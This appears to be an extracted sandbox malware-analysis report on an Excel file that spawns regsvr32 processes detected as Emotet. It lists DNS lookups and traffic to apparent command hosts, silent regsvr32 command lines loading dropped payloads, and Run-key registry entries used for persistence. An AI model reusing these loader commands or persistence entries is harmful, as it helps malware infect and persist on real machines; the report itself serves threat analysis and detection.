Nov 14, 2022 08:05:38.888772964 CET 49174 80 192.168.2.22 47.92.35.35

Nov 14, 2022 08:05:38.888823032 CET 80 49174 47.92.35.35 192.168.2.22

Nov 14, 2022 08:05:38.888838053 CET 49174 80 192.168.2.22 47.92.35.35

Nov 14, 2022 08:05:38.888887882 CET 80 49174 47.92.35.35 192.168.2.22

Nov 14, 2022 08:05:38.888921022 CET 49174 80 192.168.2.22 47.92.35.35

Nov 14, 2022 08:05:38.888943911 CET 49174 80 192.168.2.22 47.92.35.35

Nov 14, 2022 08:05:38.888950109 CET 80 49174 47.92.35.35 192.168.2.22

Nov 14, 2022 08:05:38.889015913 CET 80 49174 47.92.35.35 192.168.2.22

Nov 14, 2022 08:05:38.889030933 CET 49174 80 192.168.2.22 47.92.35.35

Nov 14, 2022 08:05:38.889059067 CET 49174 80 192.168.2.22 47.92.35.35

Nov 14, 2022 08:05:38.909642935 CET 49174 80 192.168.2.22 47.92.35.35

Nov 14, 2022 08:05:39.076194048 CET 80 49174 47.92.35.35 192.168.2.22

Nov 14, 2022 08:05:39.076257944 CET 80 49174 47.92.35.35 192.168.2.22

Nov 14, 2022 08:05:39.076299906 CET 80 49174 47.92.35.35 192.168.2.22

Nov 14, 2022 08:05:39.076340914 CET 80 49174 47.92.35.35 192.168.2.22

Nov 14, 2022 08:05:39.076381922 CET 80 49174 47.92.35.35 192.168.2.22

Nov 14, 2022 08:05:39.076421022 CET 80 49174 47.92.35.35 192.168.2.22

Nov 14, 2022 08:05:39.076422930 CET 49174 80 192.168.2.22 47.92.35.35

Nov 14, 2022 08:05:39.076463938 CET 80 49174 47.92.35.35 192.168.2.22

Nov 14, 2022 08:05:39.076474905 CET 49174 80 192.168.2.22 47.92.35.35

Nov 14, 2022 08:05:39.076474905 CET 49174 80 192.168.2.22 47.92.35.35

Nov 14, 2022 08:05:39.076515913 CET 80 49174 47.92.35.35 192.168.2.22

Nov 14, 2022 08:05:39.076518059 CET 49174 80 192.168.2.22 47.92.35.35

Nov 14, 2022 08:05:39.076555967 CET 80 49174 47.92.35.35 192.168.2.22

Nov 14, 2022 08:05:39.076589108 CET 49174 80 192.168.2.22 47.92.35.35

Nov 14, 2022 08:05:39.076598883 CET 80 49174 47.92.35.35 192.168.2.22

Nov 14, 2022 08:05:39.076643944 CET 80 49174 47.92.35.35 192.168.2.22

Nov 14, 2022 08:05:39.076683044 CET 80 49174 47.92.35.35 192.168.2.22

Nov 14, 2022 08:05:39.076719046 CET 49174 80 192.168.2.22 47.92.35.35

Nov 14, 2022 08:05:39.076721907 CET 80 49174 47.92.35.35 192.168.2.22

Nov 14, 2022 08:05:39.076719046 CET 49174 80 192.168.2.22 47.92.35.35

Nov 14, 2022 08:05:39.076719046 CET 49174 80 192.168.2.22 47.92.35.35

Nov 14, 2022 08:05:39.076761007 CET 80 49174 47.92.35.35 192.168.2.22

Nov 14, 2022 08:05:39.076795101 CET 49174 80 192.168.2.22 47.92.35.35

Timestamp Source Port Dest Port Source IP Dest IP
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Nov 14, 2022 08:05:39.076795101 CET 49174 80 192.168.2.22 47.92.35.35

Nov 14, 2022 08:05:39.076801062 CET 80 49174 47.92.35.35 192.168.2.22

Nov 14, 2022 08:05:39.076842070 CET 80 49174 47.92.35.35 192.168.2.22

Nov 14, 2022 08:05:39.076849937 CET 49174 80 192.168.2.22 47.92.35.35

Nov 14, 2022 08:05:39.076884031 CET 80 49174 47.92.35.35 192.168.2.22

Nov 14, 2022 08:05:39.076924086 CET 80 49174 47.92.35.35 192.168.2.22

Nov 14, 2022 08:05:39.076927900 CET 49174 80 192.168.2.22 47.92.35.35

Nov 14, 2022 08:05:39.076927900 CET 49174 80 192.168.2.22 47.92.35.35

Nov 14, 2022 08:05:39.076963902 CET 80 49174 47.92.35.35 192.168.2.22

Nov 14, 2022 08:05:39.076972961 CET 49174 80 192.168.2.22 47.92.35.35

Nov 14, 2022 08:05:39.076996088 CET 49174 80 192.168.2.22 47.92.35.35

Nov 14, 2022 08:05:39.077006102 CET 80 49174 47.92.35.35 192.168.2.22

Nov 14, 2022 08:05:39.077037096 CET 49174 80 192.168.2.22 47.92.35.35

Nov 14, 2022 08:05:39.077053070 CET 49174 80 192.168.2.22 47.92.35.35

Nov 14, 2022 08:05:39.077666998 CET 49174 80 192.168.2.22 47.92.35.35

Nov 14, 2022 08:05:39.255693913 CET 80 49174 47.92.35.35 192.168.2.22

Nov 14, 2022 08:05:39.255863905 CET 49174 80 192.168.2.22 47.92.35.35

Nov 14, 2022 08:05:39.255871058 CET 80 49174 47.92.35.35 192.168.2.22

Nov 14, 2022 08:05:39.255906105 CET 80 49174 47.92.35.35 192.168.2.22

Nov 14, 2022 08:05:39.255923033 CET 49174 80 192.168.2.22 47.92.35.35

Nov 14, 2022 08:05:39.255939007 CET 80 49174 47.92.35.35 192.168.2.22

Nov 14, 2022 08:05:39.255942106 CET 49174 80 192.168.2.22 47.92.35.35

Nov 14, 2022 08:05:39.255970955 CET 80 49174 47.92.35.35 192.168.2.22

Nov 14, 2022 08:05:39.255978107 CET 49174 80 192.168.2.22 47.92.35.35

Nov 14, 2022 08:05:39.256000996 CET 80 49174 47.92.35.35 192.168.2.22

Nov 14, 2022 08:05:39.256007910 CET 49174 80 192.168.2.22 47.92.35.35

Nov 14, 2022 08:05:39.256031990 CET 80 49174 47.92.35.35 192.168.2.22

Nov 14, 2022 08:05:39.256037951 CET 49174 80 192.168.2.22 47.92.35.35

Nov 14, 2022 08:05:39.256062984 CET 80 49174 47.92.35.35 192.168.2.22

Nov 14, 2022 08:05:39.256067038 CET 49174 80 192.168.2.22 47.92.35.35

Nov 14, 2022 08:05:39.256094933 CET 80 49174 47.92.35.35 192.168.2.22

Nov 14, 2022 08:05:39.256098986 CET 49174 80 192.168.2.22 47.92.35.35

Timestamp Source Port Dest Port Source IP Dest IP

Timestamp Source Port Dest Port Source IP Dest IP

Nov 14, 2022 08:05:36.712515116 CET 55868 53 192.168.2.22 8.8.8.8

Nov 14, 2022 08:05:36.998022079 CET 53 55868 8.8.8.8 192.168.2.22

Nov 14, 2022 08:05:38.243299007 CET 49688 53 192.168.2.22 8.8.8.8

Nov 14, 2022 08:05:38.501172066 CET 53 49688 8.8.8.8 192.168.2.22

Nov 14, 2022 08:05:46.057416916 CET 58836 53 192.168.2.22 8.8.8.8

Nov 14, 2022 08:05:46.443059921 CET 53 58836 8.8.8.8 192.168.2.22

Nov 14, 2022 08:05:51.626960039 CET 50134 53 192.168.2.22 8.8.8.8

Nov 14, 2022 08:05:51.888521910 CET 53 50134 8.8.8.8 192.168.2.22

Timestamp Source IP Dest IP Trans ID OP Code Name Type Class
DNS over
HTTPS

Nov 14, 2022 08:05:36.712515116 
CET

192.168.2.22 8.8.8.8 0x7b6b Standard query 
(0)

datie-tw.com A (IP address) IN (0x0001) false

Nov 14, 2022 08:05:38.243299007 
CET

192.168.2.22 8.8.8.8 0x1f0e Standard query 
(0)

sbm.xinmos
hiwang.com

A (IP address) IN (0x0001) false

Nov 14, 2022 08:05:46.057416916 
CET

192.168.2.22 8.8.8.8 0x441a Standard query 
(0)

copunupo.ac.zm A (IP address) IN (0x0001) false

Nov 14, 2022 08:05:51.626960039 
CET

192.168.2.22 8.8.8.8 0x7ae1 Standard query 
(0)

ly.yjlianyi.top A (IP address) IN (0x0001) false

UDP Packets

DNS Queries

DNS Answers
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Timestamp Source IP Dest IP Trans ID Reply Code Name CName Address Type Class
DNS over
HTTPS

Nov 14, 2022 
08:05:36.998022079 
CET

8.8.8.8 192.168.2.22 0x7b6b No error (0) datie-tw.com 175.98.167.16
5

A (IP address) IN 
(0x0001)

false

Nov 14, 2022 
08:05:38.501172066 
CET

8.8.8.8 192.168.2.22 0x1f0e No error (0) sbm.xinmos
hiwang.com

47.92.35.35 A (IP address) IN 
(0x0001)

false

Nov 14, 2022 
08:05:46.443059921 
CET

8.8.8.8 192.168.2.22 0x441a No error (0) copunupo.a
c.zm

41.63.0.22 A (IP address) IN 
(0x0001)

false

Nov 14, 2022 
08:05:51.888521910 
CET

8.8.8.8 192.168.2.22 0x7ae1 No error (0) ly.yjlianyi.top 81.68.152.197 A (IP address) IN 
(0x0001)

false

            
datie-tw.com

            
copunupo.ac.zm

            
182.162.143.56

            
sbm.xinmoshiwang.com

            
ly.yjlianyi.top

         

• EXCEL.EXE

• regsvr32.exe

• regsvr32.exe

• regsvr32.exe

• regsvr32.exe

• regsvr32.exe

• regsvr32.exe

• regsvr32.exe

• regsvr32.exe

• regsvr32.exe

• regsvr32.exe

Click to jump to process

Target ID: 0

Start time: 08:05:15

Start date: 14/11/2022

Path: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

HTTP Request Dependency Graph

Statistics

Behavior

System Behavior

Analysis Process: EXCEL.EXE PID: 2308, Parent PID: 576

General
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Wow64 process (32bit): false

Commandline: "C:\Program Files\Microsoft Office\Office14\EXCEL.EXE" /automation -Embedding

Imagebase: 0x13fe80000

File size: 28253536 bytes

MD5 hash: D53B85E21886D2AF9815C377537BCAC3

Has elevated privileges: true

Has administrator 
privileges:

true

Programmed in: C, C++ or other language

Reputation: high

Key Path Completion Count Source Address Symbol

HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Excel\Resiliency\StartupItems success or wait 1 6E2F0648 unknown

HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Excel\Place MRU success or wait 1 6E2F0648 unknown

HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\Recent Locations success or wait 1 6E2F0648 unknown

HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\Recent Locations\SharePoint success or wait 1 6E2F0648 unknown

HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Excel\Resiliency success or wait 1 6E2F0648 unknown

HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Excel\Resiliency\DocumentRecovery success or wait 1 6E2F0648 unknown

HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Excel\Resiliency\DocumentRecovery\86EAA success or wait 1 6E2F0648 unknown

Key Path Name Type Data Completion Count Source Address Symbol

HKEY_CURRENT_USER\Softwar
e\Microsoft\Office\14.0\Excel\Resil
iency\StartupItems

4j' binary 34 6A 27 00 04 09 00 00 02 00 00 00 
00 00 00 00 6C 00 00 00 01 00 00 00 
34 00 00 00 2C 00 00 00 72 00 65 00 
63 00 68 00 78 00 32 00 30 00 32 00 
32 00 2E 00 31 00 31 00 2E 00 31 00 
31 00 5F 00 31 00 30 00 34 00 35 00 
78 00 2E 00 78 00 6C 00 73 00 00 00 
72 00 65 00 63 00 68 00 78 00 32 00 
30 00 32 00 32 00 2E 00 31 00 31 00 
2E 00 31 00 31 00 5F 00 31 00 30 00 
34 00 35 00 78 00 00 00 

success or wait 1 6E2F0648 unknown

HKEY_CURRENT_USER\Softwar
e\Microsoft\Office\14.0\Excel\Place 
MRU

Max Display dword 25 success or wait 1 6E2F0648 unknown

HKEY_CURRENT_USER\Softwar
e\Microsoft\Office\14.0\Excel\file 
mru

Max Display dword 25 success or wait 1 6E2F0648 unknown

HKEY_CURRENT_USER\Softwar
e\Microsoft\Office\14.0\Excel\file 
mru

Item 1 unicode [F00000000][T01D1BB6D4B429860]
[O00000000]*C:\Users\user\Desk
top\6750529025.xlsx

success or wait 1 6E2F0648 unknown

HKEY_CURRENT_USER\Softwar
e\Microsoft\Office\14.0\Excel\file 
mru

Item 2 unicode [F00000000][T01D1BB6D4B429860]
[O00000000]*C:\Users\user\Desk
top\6109303877.xlsx

success or wait 1 6E2F0648 unknown

HKEY_CURRENT_USER\Softwar
e\Microsoft\Office\14.0\Excel\file 
mru

Item 3 unicode [F00000000][T01D1BB6D4B429860]
[O00000000]*C:\Users\user\Desk
top\9925478147.xlsx

success or wait 1 6E2F0648 unknown

HKEY_CURRENT_USER\Softwar
e\Microsoft\Office\14.0\Excel\file 
mru

Item 4 unicode [F00000000][T01D1BB6D4B429860]
[O00000000]*C:\Users\user\Desk
top\5491630718.xlsx

success or wait 1 6E2F0648 unknown

HKEY_CURRENT_USER\Softwar
e\Microsoft\Office\14.0\Excel\file 
mru

Item 5 unicode [F00000000][T01D1BB6D4B429860]
[O00000000]*C:\Users\user\Desk
top\9659692161.xlsx

success or wait 1 6E2F0648 unknown

HKEY_CURRENT_USER\Softwar
e\Microsoft\Office\14.0\Excel\file 
mru

Item 6 unicode [F00000000][T01D1BB6D4B429860]
[O00000000]*C:\Users\user\Desk
top\0653671941.xlsx

success or wait 1 6E2F0648 unknown

HKEY_CURRENT_USER\Softwar
e\Microsoft\Office\14.0\Excel\file 
mru

Item 7 unicode [F00000000][T01D1BB6D4B429860]
[O00000000]*C:\Users\user\Desk
top\1237160943.xlsx

success or wait 1 6E2F0648 unknown

HKEY_CURRENT_USER\Softwar
e\Microsoft\Office\14.0\Excel\file 
mru

Item 8 unicode [F00000000][T01D1BB6D4B429860]
[O00000000]*C:\Users\user\Desk
top\0450125302.xlsx

success or wait 1 6E2F0648 unknown

HKEY_CURRENT_USER\Softwar
e\Microsoft\Office\14.0\Excel\file 
mru

Item 9 unicode [F00000000][T01D1BB6D4B429860]
[O00000000]*C:\Users\user\Desk
top\6329227256.xlsx

success or wait 1 6E2F0648 unknown

File Activities

Registry Activities

Key Created

Key Value Created
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HKEY_CURRENT_USER\Softwar
e\Microsoft\Office\14.0\Excel\file 
mru

Item 10 unicode [F00000000][T01D1BB6D4B429860]
[O00000000]*C:\Users\user\Desk
top\6183211589.xlsx

success or wait 1 6E2F0648 unknown

HKEY_CURRENT_USER\Softwar
e\Microsoft\Office\14.0\Excel\file 
mru

Item 11 unicode [F00000000][T01D1BB6D4B429860]
[O00000000]*C:\Users\user\Desk
top\7457734050.xlsx

success or wait 1 6E2F0648 unknown

HKEY_CURRENT_USER\Softwar
e\Microsoft\Office\14.0\Excel\file 
mru

Item 12 unicode [F00000000][T01D1BB6D4B429860]
[O00000000]*C:\Users\user\Desk
top\1141274626.xlsx

success or wait 1 6E2F0648 unknown

HKEY_CURRENT_USER\Softwar
e\Microsoft\Office\14.0\Excel\file 
mru

Item 13 unicode [F00000000][T01D1BB6D4B429860]
[O00000000]*C:\Users\user\Desk
top\9329238007.xlsx

success or wait 1 6E2F0648 unknown

HKEY_CURRENT_USER\Softwar
e\Microsoft\Office\14.0\Excel\file 
mru

Item 14 unicode [F00000000][T01D1BB6D4B429860]
[O00000000]*C:\Users\user\Desk
top\3643399760.xlsx

success or wait 1 6E2F0648 unknown

HKEY_CURRENT_USER\Softwar
e\Microsoft\Office\14.0\Excel\file 
mru

Item 15 unicode [F00000000][T01D1BB6D4B429860]
[O00000000]*C:\Users\user\Desk
top\3476888679.xlsx

success or wait 1 6E2F0648 unknown

HKEY_CURRENT_USER\Softwar
e\Microsoft\Office\14.0\Excel\file 
mru

Item 16 unicode [F00000000][T01D1BB6D4B429860]
[O00000000]*C:\Users\user\Desk
top\7676687441.xlsx

success or wait 1 6E2F0648 unknown

HKEY_CURRENT_USER\Softwar
e\Microsoft\Office\14.0\Excel\file 
mru

Item 17 unicode [F00000000][T01D1BB6D4B429860]
[O00000000]*C:\Users\user\Desk
top\7216804956.xlsx

success or wait 1 6E2F0648 unknown

HKEY_CURRENT_USER\Softwar
e\Microsoft\Office\14.0\Excel\file 
mru

Item 18 unicode [F00000000][T01D1BB6D4B429860]
[O00000000]*C:\Users\user\Desk
top\2585558601.xlsx

success or wait 1 6E2F0648 unknown

HKEY_CURRENT_USER\Softwar
e\Microsoft\Office\14.0\Excel\file 
mru

Item 19 unicode [F00000000][T01D1BB6D4B429860]
[O00000000]*C:\Users\user\Desk
top\8552718761.xlsx

success or wait 1 6E2F0648 unknown

HKEY_CURRENT_USER\Softwar
e\Microsoft\Office\14.0\Excel\file 
mru

Item 20 unicode [F00000000][T01D1BB6D4B429860]
[O00000000]*C:\Users\user\Desk
top\1033868256.xlsx

success or wait 1 6E2F0648 unknown

Key Path Name Type Data Completion Count Source Address Symbol
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HKEY_CURRENT_USER\Softwar
e\Microsoft\Office\14.0\Excel\Resil
iency\DocumentRecovery\86EAA

86EAA binary 04 00 00 00 04 09 00 00 30 00 00 00 
43 00 3A 00 5C 00 55 00 73 00 65 00 
72 00 73 00 5C 00 41 00 6C 00 62 00 
75 00 73 00 5C 00 44 00 65 00 73 00 
6B 00 74 00 6F 00 70 00 5C 00 52 00 
65 00 63 00 68 00 58 00 32 00 30 00 
32 00 32 00 2E 00 31 00 31 00 2E 00 
31 00 31 00 5F 00 31 00 30 00 34 00 
35 00 58 00 2E 00 78 00 6C 00 73 00 
00 00 00 00 17 00 00 00 43 00 3A 00 
5C 00 55 00 73 00 65 00 72 00 73 00 
5C 00 41 00 6C 00 62 00 75 00 73 00 
5C 00 44 00 65 00 73 00 6B 00 74 00 
6F 00 70 00 5C 00 01 00 00 00 01 00 
00 00 32 74 9D 32 43 F8 D8 01 AA 6E 
08 00 AA 6E 08 00 00 00 00 00 B8 02 
00 00 6E 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 00 00 
00 00 

success or wait 1 6E2F0648 unknown

Key Path Name Type Data Completion Count Source Address Symbol

Key Path Name Type Old Data New Data Completion Count
Source
Address

Symbol

Target ID: 4

Analysis Process: regsvr32.exe PID: 2724, Parent PID: 2308

General
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Start time: 08:05:26

Start date: 14/11/2022

Path: C:\Windows\System32\regsvr32.exe

Wow64 process (32bit): false

Commandline: C:\Windows\System32\regsvr32.exe /S ..\elv1.ooocccxxx

Imagebase: 0xff960000

File size: 19456 bytes

MD5 hash: 59BCE9F07985F8A4204F4D6554CFF708

Has elevated privileges: true

Has administrator 
privileges:

true

Programmed in: C, C++ or other language

Reputation: high

Target ID: 5

Start time: 08:05:31

Start date: 14/11/2022

Path: C:\Windows\System32\regsvr32.exe

Wow64 process (32bit): false

Commandline: C:\Windows\System32\regsvr32.exe /S ..\elv2.ooocccxxx

Imagebase: 0xff820000

File size: 19456 bytes

MD5 hash: 59BCE9F07985F8A4204F4D6554CFF708

Has elevated privileges: true

Has administrator 
privileges:

true

Programmed in: C, C++ or other language

Yara matches: Rule: JoeSecurity_Emotet_1, Description: Yara detected Emotet, Source: 
00000005.00000002.938553016.00000000003B0000.00000040.00001000.00020000.00000000.sdmp, Author: Joe Security
Rule: Windows_Trojan_Emotet_db7d33fa, Description: unknown, Source: 
00000005.00000002.938553016.00000000003B0000.00000040.00001000.00020000.00000000.sdmp, Author: unknown
Rule: JoeSecurity_Emotet_1, Description: Yara detected Emotet, Source: 
00000005.00000002.939232134.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Author: Joe Security
Rule: Windows_Trojan_Emotet_db7d33fa, Description: unknown, Source: 
00000005.00000002.939232134.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Author: unknown

Reputation: high

There is hidden Windows Behavior. Click on Show Windows Behavior  to show it.

File Path Access Attributes Options Completion Count Source Address Symbol

Old File Path New File Path Completion Count Source Address Symbol

File Path Offset Length Completion Count Source Address Symbol

Target ID: 7

Start time: 08:05:34

Start date: 14/11/2022

Path: C:\Windows\System32\regsvr32.exe

Wow64 process (32bit): false

Commandline: C:\Windows\system32\regsvr32.exe "C:\Windows\system32\YsDsgPDHHUIQoh\TzrBJWzmduQmnx.dll"

Imagebase: 0xff820000

File size: 19456 bytes

MD5 hash: 59BCE9F07985F8A4204F4D6554CFF708

Analysis Process: regsvr32.exe PID: 264, Parent PID: 2308

General

File Activities

Analysis Process: regsvr32.exe PID: 1988, Parent PID: 264

General
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Has elevated privileges: true

Has administrator 
privileges:

true

Programmed in: C, C++ or other language

Yara matches: Rule: JoeSecurity_Emotet_3, Description: Yara detected Emotet, Source: 
00000007.00000002.1379999865.00000000001AA000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Rule: JoeSecurity_Emotet_1, Description: Yara detected Emotet, Source: 
00000007.00000002.1381010600.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Author: Joe Security
Rule: Windows_Trojan_Emotet_db7d33fa, Description: unknown, Source: 
00000007.00000002.1381010600.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Author: unknown
Rule: JoeSecurity_Emotet_1, Description: Yara detected Emotet, Source: 
00000007.00000002.1380409195.00000000004C0000.00000040.00001000.00020000.00000000.sdmp, Author: Joe Security
Rule: Windows_Trojan_Emotet_db7d33fa, Description: unknown, Source: 
00000007.00000002.1380409195.00000000004C0000.00000040.00001000.00020000.00000000.sdmp, Author: unknown

Reputation: high

Key Path Name Type Data Completion Count Source Address Symbol

HKEY_LOCAL_MACHINE\SOFT
WARE\Mi
crosoft\Windows\CurrentVersion
\Run

TzrBJWzmduQ
mnx.dll

unicode C:\Windows\system32\regsvr32.exe 
"C:\Windows\system32\YsDsgP
DHHUIQoh\TzrBJWzmduQmnx.dll"

success or wait 1 180020877 RegSetValueEx
W

Target ID: 8

Start time: 08:05:37

Start date: 14/11/2022

Path: C:\Windows\System32\regsvr32.exe

Wow64 process (32bit): false

Commandline: C:\Windows\System32\regsvr32.exe /S ..\elv3.ooocccxxx

Imagebase: 0xff820000

File size: 19456 bytes

MD5 hash: 59BCE9F07985F8A4204F4D6554CFF708

Has elevated privileges: true

Has administrator 
privileges:

true

Programmed in: C, C++ or other language

Yara matches: Rule: JoeSecurity_Emotet_1, Description: Yara detected Emotet, Source: 
00000008.00000002.950173047.0000000001EF0000.00000040.00001000.00020000.00000000.sdmp, Author: Joe Security
Rule: Windows_Trojan_Emotet_db7d33fa, Description: unknown, Source: 
00000008.00000002.950173047.0000000001EF0000.00000040.00001000.00020000.00000000.sdmp, Author: unknown
Rule: JoeSecurity_Emotet_1, Description: Yara detected Emotet, Source: 
00000008.00000002.950500387.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Author: Joe Security
Rule: Windows_Trojan_Emotet_db7d33fa, Description: unknown, Source: 
00000008.00000002.950500387.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Author: unknown

Reputation: high

There is hidden Windows Behavior. Click on Show Windows Behavior  to show it.

File Path Access Attributes Options Completion Count Source Address Symbol

Old File Path New File Path Completion Count Source Address Symbol

File Path Offset Length Completion Count Source Address Symbol

Target ID: 9

Start time: 08:05:40

Start date: 14/11/2022

Registry Activities

Key Value Created

Analysis Process: regsvr32.exe PID: 1260, Parent PID: 2308

General

File Activities

Analysis Process: regsvr32.exe PID: 2608, Parent PID: 1260

General
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Path: C:\Windows\System32\regsvr32.exe

Wow64 process (32bit): false

Commandline: C:\Windows\system32\regsvr32.exe "C:\Windows\system32\LxJhBpIGuQtuqLqlk\rgLdvmpYAAMw.dll"

Imagebase: 0xff820000

File size: 19456 bytes

MD5 hash: 59BCE9F07985F8A4204F4D6554CFF708

Has elevated privileges: true

Has administrator 
privileges:

true

Programmed in: C, C++ or other language

Yara matches: Rule: JoeSecurity_Emotet_3, Description: Yara detected Emotet, Source: 
00000009.00000002.1380113365.000000000028A000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Rule: JoeSecurity_Emotet_1, Description: Yara detected Emotet, Source: 
00000009.00000002.1380954882.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Author: Joe Security
Rule: Windows_Trojan_Emotet_db7d33fa, Description: unknown, Source: 
00000009.00000002.1380954882.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Author: unknown
Rule: JoeSecurity_Emotet_1, Description: Yara detected Emotet, Source: 
00000009.00000002.1379888285.00000000001B0000.00000040.00001000.00020000.00000000.sdmp, Author: Joe Security
Rule: Windows_Trojan_Emotet_db7d33fa, Description: unknown, Source: 
00000009.00000002.1379888285.00000000001B0000.00000040.00001000.00020000.00000000.sdmp, Author: unknown

Reputation: high

Key Path Name Type Data Completion Count Source Address Symbol

HKEY_LOCAL_MACHINE\SOFT
WARE\Mi
crosoft\Windows\CurrentVersion
\Run

rgLdvmpYAAM
w.dll

unicode C:\Windows\system32\regsvr32.exe 
"C:\Windows\system32\LxJhBp
IGuQtuqLqlk\rgLdvmpYAAMw.dll"

success or wait 1 180020877 RegSetValueEx
W

Target ID: 10

Start time: 08:06:51

Start date: 14/11/2022

Path: C:\Windows\System32\regsvr32.exe

Wow64 process (32bit): false

Commandline: C:\Windows\System32\regsvr32.exe /S ..\elv4.ooocccxxx

Imagebase: 0xff820000

File size: 19456 bytes

MD5 hash: 59BCE9F07985F8A4204F4D6554CFF708

Has elevated privileges: true

Has administrator 
privileges:

true

Programmed in: C, C++ or other language

Yara matches: Rule: JoeSecurity_Emotet_1, Description: Yara detected Emotet, Source: 
0000000A.00000002.1109090609.00000000003C0000.00000040.00001000.00020000.00000000.sdmp, Author: Joe Security
Rule: Windows_Trojan_Emotet_db7d33fa, Description: unknown, Source: 
0000000A.00000002.1109090609.00000000003C0000.00000040.00001000.00020000.00000000.sdmp, Author: unknown
Rule: JoeSecurity_Emotet_1, Description: Yara detected Emotet, Source: 
0000000A.00000002.1110669448.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Author: Joe Security
Rule: Windows_Trojan_Emotet_db7d33fa, Description: unknown, Source: 
0000000A.00000002.1110669448.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Author: unknown

Reputation: high

There is hidden Windows Behavior. Click on Show Windows Behavior  to show it.

File Path Access Attributes Options Completion Count Source Address Symbol

Old File Path New File Path Completion Count Source Address Symbol

File Path Offset Length Completion Count Source Address Symbol

Registry Activities

Key Value Created

Analysis Process: regsvr32.exe PID: 2372, Parent PID: 2308

General

File Activities
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Target ID: 11

Start time: 08:06:54

Start date: 14/11/2022

Path: C:\Windows\System32\regsvr32.exe

Wow64 process (32bit): false

Commandline: C:\Windows\system32\regsvr32.exe "C:\Windows\system32\HXVNCiWla\DkEI.dll"

Imagebase: 0xff820000

File size: 19456 bytes

MD5 hash: 59BCE9F07985F8A4204F4D6554CFF708

Has elevated privileges: true

Has administrator 
privileges:

true

Programmed in: C, C++ or other language

Yara matches: Rule: JoeSecurity_Emotet_1, Description: Yara detected Emotet, Source: 
0000000B.00000002.1379913182.0000000000140000.00000040.00001000.00020000.00000000.sdmp, Author: Joe Security
Rule: Windows_Trojan_Emotet_db7d33fa, Description: unknown, Source: 
0000000B.00000002.1379913182.0000000000140000.00000040.00001000.00020000.00000000.sdmp, Author: unknown
Rule: JoeSecurity_Emotet_3, Description: Yara detected Emotet, Source: 
0000000B.00000002.1380135944.000000000031A000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Rule: JoeSecurity_Emotet_1, Description: Yara detected Emotet, Source: 
0000000B.00000002.1380959934.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Author: Joe Security
Rule: Windows_Trojan_Emotet_db7d33fa, Description: unknown, Source: 
0000000B.00000002.1380959934.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Author: unknown

Key Path Name Type Data Completion Count Source Address Symbol

HKEY_LOCAL_MACHINE\SOFT
WARE\Mi
crosoft\Windows\CurrentVersion
\Run

DkEI.dll unicode C:\Windows\system32\regsvr32.exe 
